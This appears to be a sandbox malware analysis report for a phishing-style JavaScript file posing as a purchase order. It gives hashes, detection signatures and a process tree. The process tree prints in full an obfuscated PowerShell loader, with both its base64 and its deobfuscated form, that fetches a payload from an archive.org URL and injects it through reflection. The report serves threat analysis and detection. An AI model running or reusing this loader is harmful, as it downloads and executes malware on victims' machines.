Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Overview

overview

10

Static

static

1

Purchase O...ery.js

windows7-x64

10

Purchase O...ery.js

windows10-2004-x64

10

Analysis

  • max time kernel
    95s
  • max time network
    206s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    21/09/2024, 01:11

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    Purchase Order . September Deelivery.js

  • Size

    602KB

  • MD5

    c99eede8df6223c9f608dbc64dee57ff

  • SHA1

    a6df986b275fabe045dda8b6d3d34c3cd7640aad

  • SHA256

    574403dce45be3a5edec18e66f16fef5e013ce99c7713479ab67c11e6f472330

  • SHA512

    b68bd89a6a06b3f33b923898bbdeb95bb796ee2be1733bc94758006f67d7fa0a596fea889545c8ddf1d3b2049f662d4b0c5e99d38aef3eaa81d445babf6b10ea

  • SSDEEP

    12288:o2QfMbARmlPDpIZDA48VcnheZB4HGLUtc0riOhuuMtn2kqZrjCU87cG/Q12oaCMs:X7GZiwzx1ZLwLsD

Score
10/10
execution

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://ia904601.us.archive.org/6/items/detah-note-j/DetahNoteJ.txt
exe.dropper

https://ia904601.us.archive.org/6/items/detah-note-j/DetahNoteJ.txt

Signatures

  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

    execution
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
    execution
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe "C:\Users\Admin\AppData\Local\Temp\Purchase Order . September Deelivery.js"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4056
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KAAnAG8AZABMACcAKwAnAHUAJwArACcAcgAnACsAJwBsACAAPQAgAEoAQgAnACsAJwBuAGgAdAAnACsAJwB0AHAAcwA6AC8ALwAnACsAJwBpAGEAJwArACcAOQAwADQANgAnACsAJwAwADEALgB1AHMALgAnACsAJwBhAHIAYwBoACcAKwAnAGkAdgBlAC4AbwByAGcAJwArACcALwA2ACcAKwAnAC8AaQB0AGUAJwArACcAbQAnACsAJwBzAC8AZAAnACsAJwBlAHQAJwArACcAYQBoAC0AbgBvAHQAZQAtAGoALwBEAGUAdABhAGgATgBvAHQAZQBKAC4AdAAnACsAJwB4AHQASgAnACsAJwBCAG4AJwArACcAOwAnACsAJwBvAGQATABiAGEAcwBlADYANABDAG8AbgB0AGUAJwArACcAbgB0ACcAKwAnACAAJwArACcAPQAnACsAJwAgACcAKwAnACgATgBlAHcALQBPAGIAagBlAGMAdAAnACsAJwAgACcAKwAnAFMAeQAnACsAJwBzAHQAZQBtACcAKwAnAC4ATgBlACcAKwAnAHQALgBXAGUAYgBDAGwAJwArACcAaQBlAG4AJwArACcAdAApACcAKwAnAC4ARABvAHcAbgAnACsAJwBsAG8AJwArACcAYQBkAFMAdAAnACsAJwByACcAKwAnAGkAbgAnACsAJwBnACgAbwBkAEwAdQByAGwAKQA7AG8AJwArACcAZABMAGIAaQAnACsAJwBuAGEAcgB5ACcAKwAnAEMAbwBuAHQAJwArACcAZQBuACcAKwAnAHQAIAA9ACAAWwBTAHkAJwArACcAcwB0ACcAKwAnAGUAJwArACcAbQAuAEMAbwBuACcAKwAnAHYAZQByAHQAXQAnACsAJwA6ADoARgAnACsAJwByACcAKwAnAG8AbQBCACcAKwAnAGEAJwArACcAcwBlADYANAAnACsAJwBTACcAKwAnAHQAJwArACcAcgBpAG4AJwArACcAZwAoAG8AJwArACcAZAAnACsAJwBMACcAKwAnAGIAYQBzACcAKwAnAGUANgAnACsAJwA0ACcAKwAnAEMAbwBuACcAKwAnAHQAZQBuAHQAKQA7ACcAKwAnAG8AZAAnACsAJwBMAGEAcwBzAGUAbQAnACsAJwBiAGwAJwArACcAeQAnACsAJwAgAD0AIABbACcAKwAnAFIAZQBmACcAKwAnAGwAZQBjACcAKwAnAHQAaQAnACsAJwBvAG4ALgBBAHMAcwBlACcAKwAnAG0AJwArACcAYgBsAHkAXQAnACsAJwA6ADoATABvACcAKwAnAGEAJwArACcAZAAoAG8AJwArACcAZAAnACsAJwBMACcAKwAnAGIAaQBuACcAKwAnAGEAJwArACcAcgAnACsAJwB5AEMAJwArACcAbwAnACsAJwBuACcAKwAnAHQAZQAnACsAJwBuAHQAKQAnACsAJwA7ACcAKwAnAG8AZAAnACsAJwBMAHQAeQAnACsAJwBwAGUAIAAnACsAJwA9ACAAbwBkACcAKwAnAEwAJwArACcAYQBzACcAKwAnAHMAZQBtAGIAJwArACcAbAB5AC4ARwBlACcAKwAnAHQAVAB5AHAAZQAoACcAKwAnAEoAQgBuAFIAJwArACcAdQBuAFAARQAnACsAJwAuAEgAbwAnACsAJwBtAGUASgBCAG4AKQA7ACcAKwAnAG8AZABMACcAKwAnAG0AZQB0ACcAKwAnAGgAJwArACcAbwAnACsAJwBkACcAKwAnACAAJwArACcAPQAnACsAJwAgACcAKwAnAG8AJwArACcAZAAnACsAJwBMAHQAJwArACcAeQBwACcAKwAnAGUAJwArACcALgBHAGUAdABNACcAKwAnAGUAdABoAG8AZAAoAEoAQgBuACcAKwAnAFYAQQAnACsAJwBJAEoAQgBuACkAOwBvAGQATABtAGUAdABoAG8AZAAuAEkAbgAnACsAJwB2AG8AawBlACgAbwBkAEwAbgB1AGwAbAAsACAAWwBvACcAKwAnAGIAagBlACcAKwAnAGMAdAAnACsAJwBbAF0AJwArACcAXQBAACgASgAnACsAJwBCAG4AdAAnACsAJwB4AHQALgBlAG4AbwBjACcAKwAnAGEAJwArACcAbQAvACcAKwAnAHYAZQBkACcAKwAnAC4AMgAnACsAJwByACcAKwAnAC4AJwArACcAMwA5AGIAMwA0ACcAKwAnADUAMwAnACsAJwAwADIAYQAwADcANQBiADEAJwArACcAYgAnACsAJwBjADAAZAAnACsAJwA0ADUAYgA2ADMAJwArACcAMgBlAGIAOQAnACsAJwBlACcAKwAnAGUANgAyAC0AYgB1AHAAJwArACcALwAvADoAcwAnACsAJwBwAHQAdABoACcAKwAnAEoAQgAnACsAJwBuACAALAAnACsAJwAgAEoAQgBuAGQAZQBzAGEAJwArACcAdAAnACsAJwBpACcAKwAnAHYAYQBkAG8ASgAnACsAJwBCACcAKwAnAG4AJwArACcAIAAsACAAJwArACcASgBCAG4AJwArACcAZABlACcAKwAnAHMAYQB0AGkAdgBhAGQAbwBKAEIAbgAnACsAJwAgACwAIABKAEIAJwArACcAbgBkAGUAcwBhAHQAaQB2ACcAKwAnAGEAZAAnACsAJwBvACcAKwAnAEoAJwArACcAQgBuACwASgBCAG4AJwArACcAQQBkAGQASQBuAFAAcgBvAGMAJwArACcAZQBzAHMAMwAyAEoAJwArACcAQgBuACwASgAnACsAJwBCACcAKwAnAG4AZABlAHMAYQB0ACcAKwAnAGkAdgBhAGQAbwBKACcAKwAnAEIAbgApACcAKwAnACkAOwAnACkALgBSAGUAUABsAGEAQwBlACgAJwBKAEIAbgAnACwAWwBTAFQAUgBJAE4ARwBdAFsAQwBoAGEAUgBdADMAOQApAC4AUgBlAFAAbABhAEMAZQAoACgAWwBDAGgAYQBSAF0AMQAxADEAKwBbAEMAaABhAFIAXQAxADAAMAArAFsAQwBoAGEAUgBdADcANgApACwAJwAkACcAKQB8ACAALgAgACgAIAAkAFAAcwBoAE8AbQBFAFsANABdACsAJABQAHMASABvAE0ARQBbADMANABdACsAJwB4ACcAKQA=';$OWjuxD = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64String($Codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2412
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('odL'+'u'+'r'+'l = JB'+'nht'+'tps://'+'ia'+'9046'+'01.us.'+'arch'+'ive.org'+'/6'+'/ite'+'m'+'s/d'+'et'+'ah-note-j/DetahNoteJ.t'+'xtJ'+'Bn'+';'+'odLbase64Conte'+'nt'+' '+'='+' '+'(New-Object'+' '+'Sy'+'stem'+'.Ne'+'t.WebCl'+'ien'+'t)'+'.Down'+'lo'+'adSt'+'r'+'in'+'g(odLurl);o'+'dLbi'+'nary'+'Cont'+'en'+'t = [Sy'+'st'+'e'+'m.Con'+'vert]'+'::F'+'r'+'omB'+'a'+'se64'+'S'+'t'+'rin'+'g(o'+'d'+'L'+'bas'+'e6'+'4'+'Con'+'tent);'+'od'+'Lassem'+'bl'+'y'+' = ['+'Ref'+'lec'+'ti'+'on.Asse'+'m'+'bly]'+'::Lo'+'a'+'d(o'+'d'+'L'+'bin'+'a'+'r'+'yC'+'o'+'n'+'te'+'nt)'+';'+'od'+'Lty'+'pe '+'= od'+'L'+'as'+'semb'+'ly.Ge'+'tType('+'JBnR'+'unPE'+'.Ho'+'meJBn);'+'odL'+'met'+'h'+'o'+'d'+' '+'='+' '+'o'+'d'+'Lt'+'yp'+'e'+'.GetM'+'ethod(JBn'+'VA'+'IJBn);odLmethod.In'+'voke(odLnull, [o'+'bje'+'ct'+'[]'+']@(J'+'Bnt'+'xt.enoc'+'a'+'m/'+'ved'+'.2'+'r'+'.'+'39b34'+'53'+'02a075b1'+'b'+'c0d'+'45b63'+'2eb9'+'e'+'e62-bup'+'//:s'+'ptth'+'JB'+'n ,'+' JBndesa'+'t'+'i'+'vadoJ'+'B'+'n'+' , '+'JBn'+'de'+'sativadoJBn'+' , JB'+'ndesativ'+'ad'+'o'+'J'+'Bn,JBn'+'AddInProc'+'ess32J'+'Bn,J'+'B'+'ndesat'+'ivadoJ'+'Bn)'+');').RePlaCe('JBn',[STRING][ChaR]39).RePlaCe(([ChaR]111+[ChaR]100+[ChaR]76),'$')| . ( $PshOmE[4]+$PsHoME[34]+'x')"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1380

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
    Filesize

    2KB

    MD5

    2f57fde6b33e89a63cf0dfdd6e60a351

    SHA1

    445bf1b07223a04f8a159581a3d37d630273010f

    SHA256

    3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

    SHA512

    42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

    Download Submit

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
    Filesize

    64B

    MD5

    d8b9a260789a22d72263ef3bb119108c

    SHA1

    376a9bd48726f422679f2cd65003442c0b6f6dd5

    SHA256

    d69d47e428298f194850d14c3ce375e7926128a0bfb62c1e75940ab206f8fddc

    SHA512

    550314fab1e363851a7543c989996a440d95f7c9db9695cce5abaad64523f377f48790aa091d66368f50f941179440b1fa94448289ee514d5b5a2f4fe6225e9b

    Download Submit

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4dbpyil4.mca.ps1
    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    Download Submit

  • memory/1380-22-0x000001F8C80A0000-0x000001F8C82AC000-memory.dmp

    Filesize

    2.0MB

    Download

  • memory/2412-0-0x00007FF9A94A3000-0x00007FF9A94A5000-memory.dmp

    Filesize

    8KB

    Download

  • memory/2412-10-0x0000015BFECD0000-0x0000015BFECF2000-memory.dmp

    Filesize

    136KB

    Download

  • memory/2412-11-0x00007FF9A94A0000-0x00007FF9A9F61000-memory.dmp

    Filesize

    10.8MB

    Download

  • memory/2412-12-0x00007FF9A94A0000-0x00007FF9A9F61000-memory.dmp

    Filesize

    10.8MB

    Download

  • memory/2412-28-0x00007FF9A94A0000-0x00007FF9A9F61000-memory.dmp

    Filesize

    10.8MB

    Download